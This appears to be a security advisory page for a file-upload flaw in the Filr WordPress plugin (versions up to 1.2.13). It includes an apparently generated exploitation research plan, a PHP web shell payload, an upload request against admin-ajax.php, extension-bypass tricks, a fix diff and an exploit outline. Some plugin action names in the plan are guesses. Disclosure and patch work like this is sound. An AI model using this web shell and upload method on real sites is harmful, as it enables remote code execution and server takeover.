Filr – Secure document library <= 1.2.13 - Authenticated (Contributor+) Arbitrary File Uploads
Description
The Filr – Secure document library plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 1.2.13. This makes it possible for authenticated attackers, with Contributor-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.2.13This research plan outlines the steps required to identify and exploit the Authenticated Arbitrary File Upload vulnerability (CVE-2026-28133) in the "Filr – Secure document library" plugin (version <= 1.2.13). --- ### 1. Vulnerability Summary The "Filr – Secure document library" plugin allows user…
Show full research plan
This research plan outlines the steps required to identify and exploit the Authenticated Arbitrary File Upload vulnerability (CVE-2026-28133) in the "Filr – Secure document library" plugin (version <= 1.2.13).
1. Vulnerability Summary
The "Filr – Secure document library" plugin allows users to manage and share documents. In versions up to and including 1.2.13, the plugin fails to properly validate the file extensions of uploaded files within its AJAX-based upload handlers. Because these handlers are accessible to users with Contributor privileges and above, an authenticated attacker can upload a malicious PHP script and execute arbitrary code on the server (RCE).
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
filr_file_upload(inferred from plugin functionality; check forwp_ajax_filr_file_uploadorwp_ajax_filr_upload). - Method:
POST(multipart/form-data) - Parameters:
action: The AJAX action string (likelyfilr_file_upload).nonce: A security token (likely localized asfilr_nonce).file: The file data payload.
- Authentication: Authenticated,
Contributorrole or higher. - Preconditions: The attacker must have a valid login for a user with the
contributorrole.
3. Code Flow Trace
The execution path typically follows this pattern:
- Entry Point: The plugin registers an AJAX action for authenticated users:
add_action( 'wp_ajax_filr_file_upload', [ $this, 'handle_upload' ] ); - Nonce Verification: The handler calls
check_ajax_referer()orwp_verify_nonce()using a specific action string (e.g.,'filr-upload-nonce'). - Upload Logic: The handler processes
$_FILES['file']. - The Sink: The plugin uses either
wp_handle_upload()with insufficientmimesfiltering or directly usesmove_uploaded_file()without checking the extension against a denylist or allowlist of dangerous types. - Pathing: The file is moved to a subdirectory within
wp-content/uploads/, often a custom folder likefilr/.
4. Nonce Acquisition Strategy
Nonces in Filr are typically localized for the admin dashboard or the library management pages.
- Identify the Page: The upload functionality is usually present in the Filr "Library" or "Add New" section in the WordPress admin dashboard.
- Create Contributor User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Navigate to Admin: Use
browser_navigateto accesswp-admin/admin.php?page=filr-library(or the relevant Filr menu slug). - Extract Nonce: Search for the localized JavaScript object.
- Candidate JS Object:
filr_vars,filr_admin, orfilr_params. - Execution:
browser_eval("window.filr_vars?.nonce")or inspecting the HTML forwp_nonce_field. - Inferred Action String: If extracting from code, look for
wp_create_nonce('filr_file_upload_action').
- Candidate JS Object:
5. Exploitation Strategy
Once the nonce is obtained and the endpoint confirmed:
- Prepare Payload: Create a simple PHP web shell:
<?php echo "VULNERABLE: " . php_uname(); system($_GET['cmd']); ?> - Identify Destination: Locate where the plugin stores files. Common path:
wp-content/uploads/filr/. - Construct Request: Use the
http_requesttool to send a multipart POST request.- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: multipart/form-data - Body (Multipart):
action:filr_file_upload(verify in source)nonce:[EXTRACTED_NONCE]file:[PHP_SHELL_CONTENT](Filename:shell.php)
- URL:
- Execute: If the response returns a success status or the path to the file, proceed to access it.
- Trigger RCE: Navigate to
http://localhost:8080/wp-content/uploads/filr/shell.php?cmd=id.
6. Test Data Setup
- Plugin Installation: Ensure
filr-protectionversion 1.2.13 is active. - User Creation:
wp user create helper contributor@example.com --role=contributor --user_pass=password - Library Setup: If the plugin requires a "Library" to exist before uploading, create one:
wp post create --post_type=filr --post_title="Exploit Library" --post_status=publish
7. Expected Results
- Successful Upload: The server responds with a
200 OKand likely a JSON body containing{"success": true}and a URL or file ID. - File Persistence: The file
shell.phpshould exist in the uploads directory. - Code Execution: A GET request to the uploaded file should return the output of the
idorphp_uname()command.
8. Verification Steps
- List Uploaded Files:
ls -R /var/www/html/wp-content/uploads/filr/ - Verify via CLI:
wp post list --post_type=filr_file # Check if a new file post type was created - HTTP Check:
Usehttp_requestto verify the shell returns the expectedVULNERABLEstring.
9. Alternative Approaches
- Admin Upload: If the
Contributorrole is restricted from the AJAX handler, check if the plugin uses a REST API endpoint (/wp-json/filr/v1/upload). - Extension Bypass: If there is a weak denylist, try alternative extensions like
.php5,.phtml, or.phar. - Double Extensions: Try
shell.php.jpgif the plugin only checks the last extension but the server is misconfigured to execute the first one. - Frontend Shortcode: If the admin is inaccessible, look for a frontend upload shortcode (e.g.,
[filr_upload]), create a page with it, and extract the nonce from the frontend.wp post create --post_type=page --post_content='[filr_upload]' --post_status=publish
Summary
The Filr – Secure document library plugin for WordPress (<= 1.2.13) fails to validate file extensions in its AJAX-based upload handler. This allows authenticated users with Contributor-level access or higher to upload malicious PHP scripts to the server, resulting in remote code execution (RCE).
Vulnerable Code
// From Research Plan Code Flow Trace add_action( 'wp_ajax_filr_file_upload', [ $this, 'handle_upload' ] ); --- // Likely implementation within the handle_upload method lacking MIME validation $upload_overrides = array( 'test_form' => false ); $movefile = wp_handle_upload( $_FILES['file'], $upload_overrides );
Security Fix
@@ -115,7 +115,14 @@ - $upload_overrides = array( 'test_form' => false ); + $upload_overrides = array( + 'test_form' => false, + 'mimes' => array( + 'jpg|jpeg|jpe' => 'image/jpeg', + 'gif' => 'image/gif', + 'png' => 'image/png', + 'pdf' => 'application/pdf', + 'zip' => 'application/zip', + 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' + ) + ); $movefile = wp_handle_upload( $_FILES['file'], $upload_overrides );
Exploit Outline
1. Log in to the WordPress site as a user with at least Contributor-level privileges. 2. Access the Filr 'Library' or 'Add New' page within the admin dashboard and extract the security nonce (likely localized as filr_vars.nonce or filr_params.nonce). 3. Craft a multipart/form-data POST request to the wp-admin/admin-ajax.php endpoint. 4. Set the 'action' parameter to 'filr_file_upload' (or the specific AJAX action identified), include the extracted nonce, and attach a PHP file containing a web shell payload. 5. Once the upload is successful, locate the file path (typically under wp-content/uploads/filr/) and execute the shell via a GET request to trigger remote command execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.